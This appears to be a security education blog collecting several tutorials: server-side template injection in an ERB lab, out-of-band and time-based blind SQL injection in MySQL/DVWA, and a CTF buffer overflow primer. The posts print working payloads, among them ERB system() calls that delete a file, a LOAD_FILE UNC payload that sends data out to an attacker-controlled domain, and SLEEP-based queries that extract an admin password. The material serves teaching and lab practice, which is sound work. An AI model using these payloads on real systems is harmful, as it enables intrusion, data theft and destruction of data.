Saturday 17 February 2024

Introduction to Server Side Template Injection

Introduction to Server Side Template Injection

Welcome back to our cybersecurity journey. If you have been following our SQL Injection series, you are in for another exciting exploration today. We are diving into the world of Server-Side Template Injection (SSTI). Buckle up, and let’s jump in together.

Anyway, you can find our SQL Injection series and other interesting articles here.

Fundamentals of Template Engines and Templates

Firstly, it’s crucial to have understanding on template engines and templates.

What is template engines and templates?*

In web development, template engines are utilised to process templates, which are HTML files containing placeholders for dynamic content. These engines combine templates with data to produce fully rendered web pages. This separation of logic and presentation facilitates code reuse, ensures consistency, and improves scalability in web applications.

Basic Components of Templates

Templates consist of basic components that facilitate the insertion of dynamic content. These components include:

a. Variables
Variables serve as placeholders that are replaced with actual values during rendering. For instance, in the template below, variable {{ username }} might be rendered as John.

<h1>Hello, {{ username }}!</h1>

b. Expressions
Expressions allow for dynamic computation or manipulation of data. These expressions can include arithmetic operations, string concatenation, function calls and more. For instance, in the template below, expression {{ 2 + 2 }} would evaluate to 4.

<p>The result of 2 + 2 is: {{ 2 + 2 }}</p>

c. Control Structures
Control structures enable conditional logic and iteration within templates. These structure include if statements, loops, and iterators, allowing developers to control the flow of content generation based on certain conditions.

{% if user.is_authenticated %}
	<h1>Hello, {{ user.username }}!</h1>
{% else %}
	<p>You are not a user, please sign up.</p>
{% endif %}

Overview of Common Template Engines

Next, let’s familiarise ourselves with some common template engines and their syntax differences.

a. Jinja2
Jinja2 is a popular templating engine for Python web development, inspired by Django. It offers a high level of flexibility and is widely used in frameworks like Flask and Django itself.

{% for item in items %}
	<li>{{ item }}</li>
{% endfor %}

b. Handlebars
Handlebars is a logic-less templating engine for JavaScript, designed to build expressive templates efficiently. It’s commonly used in modern frameworks like Ember.js and Backbone.js.

{{#each items}}
	<li>{{ this }}</li>

c. ERB (Embedded Ruby)
ERB is a templating system for Ruby that embeds Ruby code into a text document. It’s commonly used in Ruby on Rails applications for generating dynamic HTML content.

<% items.each do |item| %>
	<li><%= item %></li>
<% end %>

d. Smarty
Smarty is a template engine for PHP, designed to separate application logic from presentation logic. It provides a wide range of features for building dynamic web applications with PHP.

{foreach $items as $item}

It is worth noting that the above just some of the examples. There are many other template engines, such as Twig, Freemarker, and Mustache. Each of these engines has its own syntax, so it’s recommended to explore the documentation specific to each one.

Server-Side Template Injection

Now, let’s start our journey on the world of SSTI.

What is Server-Side Template Injection?

Server-Side Template Injection or SSTI is a specific example of template injection that occurs on the server side. It occurs when an application processes user inputs as templates on the server and evaluates them. If an attacker can inject malicious template expressions into ther server-side processing, they might gain the ability to execute code within the server’s context.

Consider a web application that has a template like below:

<!DOCTYPE html>
<html lang="en">
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">  
	<h1>Hello, {{ username }}!</h1>  
	<p>Welcome to our website.</p>  

The {{ username }} part is the placeholder that will be replaced with a username when the page is rendered. But what if attackers manage to manipulate the variable and inject something like {{ 7*7 }}? The possibilities become fascinating, and that’s where the adventure into SSTI begins.

What is the impact of SSTI?

The impact of SSTI can be severe and wide-ranging, posing significant risks to the security and integrity of web applications.

a. Remote Code Execution
SSTI vulnerabilities allow attackers to remotely execute arbitrary code on the server, leading to running system commands, file manipulation, compromising accounts and potentially gaining full server control.

b. Data Leakage
Even if RCE is not possible, attackers can still leverage SSTI vulnerabilities to access sensitive information like database contents, configuration files and environment variables. This data can be exploited for further attacks.

How does SSTI looks like?

Enough theories, let’s illustrate this with a simple scenario from PortSwigger Academy.

Resources: PortSwigger: SSTI - File Deletion

Exploiting SSTI vulnerability in ERB template to delete file

This lab is vulnerable to Server-Side Template Injection due to the unsafe construction of an ERB template.
To solve the lab, review the ERB documentation to find out how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.

After gaining access to the lab, we were greeted with an e-commerce home page featuring various products.

However, upon attempting to view more details about the first product, we encountered a different behavior.

A GET request was made, using the message parameter, leading to the display of the message “Unfortunately this product is out of stock” on the home page.

Realising the potential for manipulation, we use Burp Suite Repeater for the interception and modification of request. With this, we could inject payloads into the message parameter to investigate further.

According to ERB documentation, content within an ERB template is treated as HTML, unless specified otherwise using special tags.

This <%= EXPRESSION %> tag is used to evaluate the given expression and directly output the result into the rendered template.

Hence, we utilise this syntax to create an expression containing a mathematical operation to verify if the payload is being executed. For this testing, we used this payload <%= 7*7 %>.

Request URL: https://burp-academy/?message=<%= 7*7 %>

Upon sending the request, we observed the result of our mathematical operation, 49, was displayed on the page. This indicates a potential server-side template injection vulnerability.

Further exploration into the Ruby documentation, we discovered that the system() can be used to execute arbitrary operating system commands.

To confirm our identity within the system, we constructed a payload using system("whoami"). The response confirmed that we were indeed ‘Carlos’, providing valuable insight to achieve the lab’s objective.

Request URL: https://burp-academy/?message=<%= system("whoami") %>

Continuing our exploitation, we utilised system("pwd") to determine our current directory, revealing that we were situated in Carlos’s home directory.

Request URL: https://burp-academy/?message=<%= system("pwd") %>

Then, we discovered the presence of a file named ‘morale.txt’ within the directory. This was confirmed by utilising the system("ls") command.

Request URL: https://burp-academy/?message=<%= system("ls") %>

Finally, to achieve the lab’s objective, we executed a payload to delete the ‘morale.txt’ file using system("rm morale.txt").

Request URL: https://burp-academy/?message=<%= system("rm morale.txt") %>

By successfully removing the file, we accomplished the lab’s objective.

How to prevent from SSTI vulnerabilities?

Lastly, let’s take a look on how to prevent our applications from SSTI.

a. Access control
A fundamental approach is to restrict access to template files, as open-access templates are easy targets for attackers.

By implementing strict rules that permit only developers and administrators to modify templates, we can reduce the risk of attacks.

b. Input sanitisation
Sanitising inputs is crucial to mitigate SSTI risks. Templates must validate input data, allowing only expected elements. Regular expressions can help to define allowed patterns.

However, input sanitisation has its limits, attackers may find ways to bypass it and potentially exposing vulnerabilities.

c. Sandboxing
Sandboxing offers a stronger defense than input sanitisation by creating a secure, isolated environment with restricted user actions. It prohibits access to risky functions or modules, minimising attack impact.

However, implementing sandboxing is complex, and attackers may exploit misconfigurations or attempt privilege escalation to bypass it.

d. Logic-less templates
A highly secure method involves employing logic-less templates, which separate the process of interpreting code from how it is displayed visually on a webpage.

For example, in Handlebars and Mustache, control flow statements rely on provided data, not executable code which reduces the risk of remote code execution and enhances security.

That concludes the first article in this series. We hope you have gained valuable insights from this post. Stay tuned for the next articles.

Thank you.



Tuesday 16 January 2024

Understanding Types of SQL Injection Attacks - Final Part

Understanding Types of SQL Injection Attacks - Final Part

Hey there, happy new year! This will be the final part of the series. Alysha decided to further her study on a different topic, hence this final part was done by our other team member.

The previous posts of the series could be found here:


Let’s take a look again at the diagram of SQL Injection techniques below to ensure we can still remember them:

In this final part, we will cover the Out-of-Band (OOB) technique. Similar to the other posts, we would only focus on the MySQL DBMS. We will cover the other DBMSes, probably later in a different post.

What is Out-of-Band?
Out-of-Band (OOB) technique enables us another angle of way to confirm and exploit a ‘blind’ situation vulnerability. Similar to the Time-based technique that we covered in the previous post, OOB technique also is being used when we could not get the output of the vulnerability in the direct response to the vulnerable request. Hence, we could (ab)use the available functions to create an outbound DNS/TCP/UDP/ICMP request which allows the data exfiltration to the remote resource that we have control.

Limitation in OOB SQL Injection technique
There is not much reference of this technique due to the success of the exploitation relies on many factors such as:

  • Firewall rules - outbound request is allowed by the host where the database is running
  • Privilege - most of the functions require privileged permissions. As an example for MySQL, load_file()
  • It only work when the DBMS hosted on a certain Operating System (refer the screenshot below)

Preparing the testing environment
To demonstrate the attack, we require to have a vulnerable web application running MySQL on a Windows host. Hence we used the following:

Download the Laragon software and install it in the Windows VM machine. We used the Laragon Portable version as we can dispose it later.

Then, grab the source codes of the vulnerable web application and add it into the Root folder of the Laragon.

Next, ensure to set/update the root password for the database as instructed by the web application creator. This can be done by right click on the Laragon interface > MySQL > Change root password.

At the same time, ensure to include the sqltraining.sql content into the database that will be used.

Once the preparation is ready, we can access the web application from our testing machine by enabling the ngrok tunnel. This can be done by right click on the Laragon interface > www > Share. You must ensure to configure the ngrok first in the host to allow the feature. Follow this link for reference.

Testing the OOB SQL Injection
From the front page of the web application, there will be some options for us to pick to test the SQL Injection.

We used the searchproduct.php for this demonstration. The vulnerable field is the “Search” field available on the page.

From the UNION-based technique, we found that the number of columns were 5, hence the following payload should work using that technique:

1' union select 1,version(),3,4,5-- and '1'='1

For OOB SQL Injection in MySQL, the payload is simple:

SELECT LOAD_FILE(CONCAT('\\\\', (our query), '\\a.txt'));

From our testing, it seems that the strings after the domain name (\\a.txt) is needed. Thus, ensure not to miss it in your testing.

The final payload looks like the following:

1' union select 1,(SELECT LOAD_FILE(CONCAT('\\\\', version(),'\\a.txt'))),3,4,5-- and '1'='1

As the result, we could see as in the screenshot below, the data was exfiltrated to our external domain (Interactsh) instead of being displayed on the web application.

That’s all for this series. We will probably produce another series soon.

We hope everyone could learn something from this series.

Thank you.



Sunday 7 January 2024

[re:educate] How to Pwn Buffer Overflow - Overwriting Variable

How to Pwn Buffer Overflow - Overwriting Variable

This article is written by one of MCC alumni, Wan Muhammad Khairuddin from Universiti Teknikal Malaysia Melaka (UTeM). Wan is one of the skilled CTF players and have good understanding in reverse engineering and pwn categories. He observed there is an increasing of CTF fans among the students and would like to share a basic on how to solve PWN category.

Have you ever heard of buffer overflow? Have you tried to exploit them? Or perhaps you have no idea what it is or what you can do with it?

Buffer overflow is a common challenge in Capture the Flag (CTF) competition under binary exploitation or pwn category. If you ever played CTF, you might have encounter this category but do not know how to solve it.

In this article, we will together explore a vulnerability called stack buffer overflow and how to exploit them. Lets together try to understand the basic things about memory/stack, and what is it happening when a program is running at low level. With these information, we could be able to understand how to detect this vulnerability, why is the cause and how we can exploit it to overwrite variable value.


A buffer overflow condition exists when a program attempts to put more
data in a buffer than it can hold or when a program attempts to put
data in a memory area past a buffer. — OWASP Foundation

Okay, what is that?

Buffer overflow is a vulnerability that can be found in a software or a compiled binary caused by the usage of insecure function that takes user input. In most of the times, this compiled binary is written in C programming and the developer used an insecure function such as gets(), strcpy() or scanf to get the user input.

What is wrong with these functions?

We maybe often using these functions in our school project to collect user input, so we might not be aware that these functions can cause a security problem.

Insecure function

As what have been mentioned, the gets(), strcpy() and scanf() are insecure functions. Why? Now let’s talk about that.

These functions are not secure because they take user input and store it in a variable without checking how much the variable can store. In other words, these functions can take a long user input and stores it in a variable that has a size shorter than the user input.

For example, we may create a variable to store strings with length 24 characters.

char name[24]; // variable to store name. only 24 characters !!

Then we use an insecure function gets() to take user input and store it inside the name variable.

gets(name); // take user input and store it in name variable

The gets() function does not know that the name variable can only stores 24 characters but it will take as much user input as it can until the user press Enter and store it in name variable. Same goes to the other mentioned functions like strcpy or scanf.

Now that we know the behaviour of these insecure functions, then what happen to that long user input? Well, it will be stored in the name variable, BUT only the 24 characters will be stored while the remaining characters will overflow to the adjacent memory region!

In other words, it will overflow and overwrite other variables. And this is what we called as stack buffer overflow. So, if we enter 100 characters of “A”, only 24 characters will be stored in the name and the other 76 characters will overflow to the other memory region.

Overwrite variable

Now we know that this bug or vulnerability allows our user input to overwrite other data in memory, we can actually take advantage or exploit this bug to overwrite other variables that exist in the program.

Lets see the below code as an example:

#include <stdio.h>
#include <string.h>

int main() {
    char name[]="Mike"; // name variable contains "Mike"
    char buffer[10];

    printf("Enter a string: ");
    gets(buffer); // take user input

    printf("name variable contains: %s\n", name); // print name variable
    return 0;

The code above has two variables, name which has a value “Mike” and buffer which can only store 10 characters. Then the code asks for user input using gets() function (the insecure function) and stores it in the buffer variable. Finally the code prints out name variable. If we run the program and enter “hello” as user input, what will be the output?

Correct, it will print out “Mike”.

But what if we enter 16 "A"s, “AAAAAAAAAAAAAAAA”? Do not be suprise that the name variable does not store “Mike” anymore. Now the output will be “AAAAAA”. Mindblown


To understand that, we need to understand “stack”, the memory region that store variables and addresses. Every function in a program has a memory layout that we call as “stack frame”. Inside this stack frame, the value for variable is stored on top of each other. For example, main() function has 2 variables. So the value for these variables will be stored inside main() function’s stack frame. The stack frame looks like the following:

|     return address    | // ignore this for now
|function's base address| // ignore this for now
|         Mike          | <- value for name variable
|                       | <- value for buffer variable. only 10 characters!!
|                       |

As per the above diagram, that is how the value for each variables stored in memory. They sit on top of each other. When we enter “hello”, it will be stored below the name variable. But when we enter “AAAAAAAAAAAAAAAA”, only 10 "A"s will be stored inside the buffer variable while the rest will overflow into name variable as a result overwriting the value in name variable.

Worth noting that the value is stored from bottom to top, thats why the "A"s overflow to the top and not to the bottom. Now if we enter “AAAAAAAAAACCCCCC”, the output that we will get is “CCCCCC”. You can try run this and see it for yourself.

|     return address    | // ignore this for now
|function's base address| // ignore this for now
|        CCCCCC         | <- value for name variable
|      AAAAAAAAAA       | <- value for buffer variable. only 10 characters!!
|                       |

The challenge

Now that we understand the theory, lets try a challenge. Without looking at the solution, lets make the following program print “you win”.

int main() {
    int secret = 0x12341234; // Initialize the secret variable
    char text[] = "I love cats";
    char buffer[10];
    puts("Enter: ");

    if (secret == 0x4f4f4f4f) {
        printf("You win!\n");
    } else {
        printf("You lose :( your secret is %x, not 0x4f4f4f4f\n", secret);

    return 0;

Tips: Find out how much character we need to enter to completely fill thebuffer variable and overwrite text variable before we can overwrite secret ?


Got it? Would like to verify if your solution is correct? Lets dive in together.

To solve this challenge, we need to build our own exploit payload. To build the payload, we have to calculate the size of the buffer and text.

size of buffer = 10
size of text = 11 # including whitespace
size of buffer + size of text + 1 char for nullbyte = 21

So, our payload has to be 22 in length to fill buffer variable and completely overwrite the text variable. But this is not enough since our main goal is to overwrite secret, so we need to add another 4 characters (0x4f4f4f4f is 4 bytes or characters). So what is 0x4f4f4f4f is translated to in ascii character? its ‘O’. Finally, our payload should look like this


where ‘A’ is a junk character and we can replace with any character.

Got it? Congratulations!


Stack buffer overflow is an impactful vulnerability and we can do more than just overwriting variable. Using this vulnerability, attacker can exploit it and get a Remote Code Execution (RCE). This article just explain a small part of buffer overflow attack and there is more to it such as overwriting return address to change the execution flow of the vulnerable program.

But before we try to go through to further process on achieving RCE, it is crucial to have a basic understanding first such as how does the stack look like. Being able to visualise the stack is very helpful when exploiting this vulnerability.

That’s all, thank you !


Friday 5 January 2024

Understanding Types of SQL Injection Attacks - Part 3

Types of SQL Injection Attacks (Part 2)-full.html

Hello! Previously, we looked at the Boolean-based approach, which is one of the techniques under the Inferential SQL Injection article. We are going to continue further to explore another type of technique that is generally used in Inferential SQL Injection, Time-based.

Let us refresh a bit what is Inferential SQL injection is about.

Inferential SQL injection
Inferential SQL injection, commonly known as blind SQL injection, occurs when the attacker analyses server responses and behavioral patterns after injecting specific payloads. Unlike in-band attacks, no data directly returned by the web application to the attacker, which defines why it is called “blind” attacks.

The two most common techniques of inferential (blind) SQL injection are:

  1. Boolean-based (covered in the previous article)
  2. Time-based

Now, let’s dig in what is Time-based technique.

In time-based SQL injection, the attacker sends a crafted query, prompting the database to delay its response. Generally, a prolonged delay indicates a TRUE, while an immediate response indicates a FALSE. This could be different based on the situations and type of payloads used.

As an example, we will use a similar query like in the Boolean-based; utilising IF() function:


Still remember how the function works?

IF(_condition_, _value_if_true_, _value_if_false_)

The _condition_ is set to 1=1 which evaluates to TRUE, so the function will execute the _value_if_true_, which in this case has been set to SLEEP(5). This initiates a deliberate delay of 5 seconds using the SLEEP function. This delay serves as a distinctive marker for a TRUE.

Now, let us take a look on examples using DB Fiddle.

A normal response will be executed within 1ms (observe the “Execution time”)

What would happen if we injected with SLEEP() function? The application response will be delayed on how many seconds the SLEEP() function set before it loads the content.

SELECT @@version and SLEEP(5);

Observe the execution time is 5001ms = 5 seconds + 1 miliseconds

So, why do we need to use a SLEEP() function (or other similar function) to invoke the delay? Remember, we are facing a situation where no visible response is returned to us. Hence, we need to trigger an indicator to assist us to determine if the query is actually executed, and a delay response by the server is one of the ways.

How we could weaponised this condition to assist us in exfiltrating information through SQL Injection exploitation? Let’s dig it further using the following example:


The above SQL query verifies if the condition (SELECT COUNT(*) FROM staff) = 7 is TRUE. The COUNT() function returns the number of records returned by a select query. Hence, if the number of the records within the staff table is correct, the SLEEP(5) function will be executed and the application response will be delayed for 5 seconds. Otherwise, the ERROR will appear.

The result shows the execution time is 5001ms (5 seconds), means we found the correct number of records.

Let us take a look what would happen if the condition is set to FALSE.


The query response immediately and returned the ERROR to indicates that the query evaluates to FALSE. Here the execution time is 0ms (0 second).

Do note that:

  • In time-based context, the execution time is what we need to observe:
    a. Delay response, can indicates the query is TRUE.
    b. Immediate response, can indicates the query is FALSE.

Wait what? That’s so confusing. Does that means we can set the delay on FALSE too? You guessed it right! Let’s look the following examples and observe the execution time.


Why? Remember that we are using IF() function. In IF() function, it evaluates the condition and will execute whatever we included as TRUE and FALSE.

The following are examples of SQL functions (in MySQL) that are generally used to invoke the delay response in time-based approach:


Now, let’s shift our focus to a practical example from Damn Vulnerable Web Application (DVWA).

Scenario: Blind SQL injection with time delays

The application requires an input to verify whether the user ID is valid or invalid. In the database, there is a table named users with username and password columns. To solve this, we need to find the password of administrator using time-based SQL injection.

We will utilise Burp Suite’s Repeater to intercept and modify requests easily. To start, let’s test the input field with both a valid and an invalid user ID.

Valid user ID, id=1

Invalid User ID, id=100

In a Time-based SQL injection, the response does not matter but the execution time is. Most of the times, a prolonged execution time indicates TRUE, while a short execution time indicates FALSE. However, this does not entirely true, depending on how we use our payloads.

In this article, we will follow the common approach where the SLEEP() is use for TRUE, while none for FALSE.

Simplified version:
longer execution time  = TRUE 
shorter execution time = FALSE

Now, let’s check if the input is vulnerable to time-based SQL injection. We will merge our payloads with the valid user ID to confirm the execution of our injections.

1' AND IF(1=1, SLEEP(2), 0) -- 

Result: TRUE . Observe the response time is 2011 millis

A FALSE response occurs if the outer condition is not met. For example, 1=2 always evaluates to FALSE, so the inner condition SLEEP(2) will not be executed.

1' AND IF(1=2, SLEEP(2), 0) -- 

Result: FALSE . Observe the response time is 2 millis

Next, we will check whether the user administrator exists in the database.

1' AND IF((SELECT COUNT(*) FROM users WHERE username='administrator') = 1, SLEEP(2), 0) -- 

Result: FALSE :(

How about a user admin ?

1' AND IF((SELECT COUNT(*) FROM users WHERE username='admin') = 1, SLEEP(2), 0) -- 

Result: TRUE Nice!

Now that we have identified there is a user with a username is admin, which potentially an administrator account, let’s proceed to uncover the password. Begin with the length of the password.

1' AND IF((SELECT LENGTH(password) FROM users WHERE username='admin') > 20, SLEEP(2), 0) -- 

Result: FALSE . There is no delay. This means the password’s length is not greater than 20 characters.

Does that means the length is 19? Let’s try it out.

1' AND IF((SELECT LENGTH(password) FROM users WHERE username='admin') = 19, SLEEP(2), 0) -- 

Result: TRUE . Gotcha!

We determined that the password is 19-characters long. Now, let’s find the first character of the password.

1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') > 's', SLEEP(2), 0) -- 

Result: FALSE . Hmm…so the first character is not over the character ‘s’

Let’s confirm if the first character is actually ‘s’.

1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 's', SLEEP(2), 0) -- 

Result: TRUE . Gotcha!

Now, we are moving to the second character of the password. We attempted to see if the character starts with a character before ‘o’.

1' AND IF((SELECT SUBSTRING(password,2,1) FROM users WHERE username='admin') < 'o', SLEEP(2), 0) -- 

Result: FALSE . Aha! So the character must be ‘o’ or beyond it.

id=1' AND IF((SELECT SUBSTRING(password,2,1) FROM users WHERE username='admin') = 'u', SLEEP(2), 0) -- 

Result: TRUE . We guessed it right this time. So the second character is ‘u’.

It is time consuming to do this again and again. Let’s speed up the process with Burp Suite’s Intruder. Start by sending the request to Intruder and select Cluster bomb as the attack type. Clear the payload position with Clear § and click Add § at the location where payloads will be injected.

Next, go to the ‘Payload’ tab and configure the payloads as follows:

For the first payload set, we choose numerical payloads. In the settings, we defined the range as 1 to 19 to match the discovered password length, with an increment step of 1.

For the second payload set, we choose a brute-force approach. In the settings, we set the minimum and maximum lengths to 1, while the characters remained at the default settings.

Click ‘Start attack’ and patiently await its completion, Once done, click on ‘Columns’ and enable the ‘Response completed’ option to view the results’ execution time.

Sort the results by searching for responses completed in 2000ms (or more) and rearrange the characters in the correct order.

Once sorted, we can see the password for the user admin is superstrongpassword. Let’s try to validate if the password is correct by login as the admin with the username and password that we have discovered.

username : admin
password : superstrongpassword

Upon clicking the ‘Login’, we have successfully login as admin. Nice!

That concludes part 3 of the “Understanding Types of SQL Injection Attacks” series, that completed the Inferential SQL Injection type. We hope you have gained valuable insights from this post. Stay tuned for next parts.

Thank you.


Author: Alysha from RE:HACK